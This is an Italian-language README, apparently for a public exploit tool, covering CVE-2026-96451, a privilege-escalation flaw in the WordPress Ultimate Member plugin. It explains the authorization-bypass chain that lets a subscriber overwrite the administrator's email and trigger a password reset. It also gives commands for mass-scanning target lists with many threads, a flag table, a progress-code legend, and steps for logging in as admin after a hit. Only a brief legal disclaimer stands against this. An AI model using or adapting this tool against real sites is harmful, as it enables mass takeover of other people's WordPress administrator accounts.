
Vulnerabilità di escalation dei privilegi nel plugin WordPress Ultimate Member <= 2.13.1
Plugin WordPress Ultimate Member <= 2.13.1 - vulnerabilità di Privilege Escalation
Ultimate Member <= 2.13.1 — Privilege Escalation / Account Takeover
📌 Record ufficiale: CVE-2026-96451
Da CVE.org:
Authorization Bypass Through User-Controlled Key vulnerability in Ultimate Member Ultimate Member ultimate-member allows Privilege Escalation. This issue affects Ultimate Member: from n/a through 2.13.1.
| Campo | Valore |
|---|---|
| 🆔 CVE | CVE-2026-96451 |
| 🏷️ CWE | CWE-639 — Authorization Bypass Through User-Controlled Key |
| 📊 CVSS 3.1 | 8.8 HIGH AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 🏢 Assegnatario | Patchstack |
| ⚠️ Affetto | Ultimate Member fino alla 2.13.1 |
| ✅ Corretto | 2.14.0 |
Un subscriber autenticato può modificare l'email di un altro utente (di solito l'amministratore). WordPress accetta quindi un reset della password per quella nuova casella di posta.
um_fetch_user($user_id) e imposta l'utente globale all'ID presente nell'URL.download_routing() ritorna senza um_reset_user()._um_account=1, user_email=...).account_submit() legge um_user('ID') — ora la vittima — e scrive la nuova email.Il nonce di download è wp_create_nonce($user_id . $form_id . 'um-download-nonce'). È legato a quell'ID utente. Non può essere inventato. Lo script lo copia da un link visibile /um-download/{form}/{field}/{user}/{nonce}/.
Un campo personalizzato file o image deve essere mostrato sul profilo. Le foto profilo/copertina integrate non producono questo link.
pip install requests rich
Registrazione, login, raccolta del nonce, exploit e verifica del reset sono automatici. Non crei account manualmente e non passi una password di subscriber per una scansione di massa.
python CVE-2026-96451.py -l targets.txt -t 80 --email "[email protected]" -o um_takeover.txt
Cosa fa questo comando su ogni host:
/account//um-download/ (preferisce l'ID utente 1, poi qualsiasi membro con un file)--emailwp-login.php?action=lostpassword (WordPress non necessita di un nonce qui)um_takeover.txt--email è la casella di posta inserita sull'account target in modo da poter ricevere il reset. Lo script non apre la casella di posta né imposta una nuova password. Quest'ultimo passaggio è manuale.
python CVE-2026-96451.py -u "https://example.com" --email "[email protected]"
| Flag | Scopo | Predefinito |
|---|---|---|
-l / --list | File dei target | — |
-u / --url | Un target | — |
-t / --threads | Worker | 10 |
-o / --output | File dei risultati | um_takeover.txt |
--email | Casella di posta scritta sulla vittima | auto-generata |
--target-id | ID utente preferito | 1 |
--user / --password | Usa un subscriber esistente invece di registrarlo | off |
-v / --verbose | Stampa ogni stage | off |
Su una macchina RDP lenta, 80–150 thread sono sufficienti. Una scansione di una lista dà a ogni host circa 22 secondi.
[5400/11965] RST:0 CHG:0 UM:4463 REG:589 rf:3874 lf:0 na:141 nd:448 nc:0 no:937
| Codice | Significato |
|---|---|
RST / CHG | Email modificata e/o reset accettato — controlla la casella di posta |
UM | Ultimate Member rilevato |
REG | La registrazione automatica ha creato una sessione |
rf | Nessun form pubblico, CAPTCHA, approvazione o attivazione via email |
lf | Registrato ma login fallito |
na | Pagina account / nonce mancante |
nd | Nessun nonce di download visibile (nessun campo file personalizzato) |
nc | Exploit inviato, modifica non confermata |
no | Non è Ultimate Member |
REG_FAIL su molti host è normale. La catena continua solo dove la registrazione crea una sessione e un link di download è visibile.
Quando appare RST o CHG:
--email/wp-login.php o /wp-admin/Questo progetto è solo per ricerca di sicurezza autorizzata — sistemi di tua proprietà o per i quali hai il permesso scritto di testare.
L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per uso improprio, danni o qualsiasi esito di questo software. Sei l'unico responsabile di come viene utilizzato e di ogni target che scansiona.
Di: Nxploited ( Khaled Alenazi )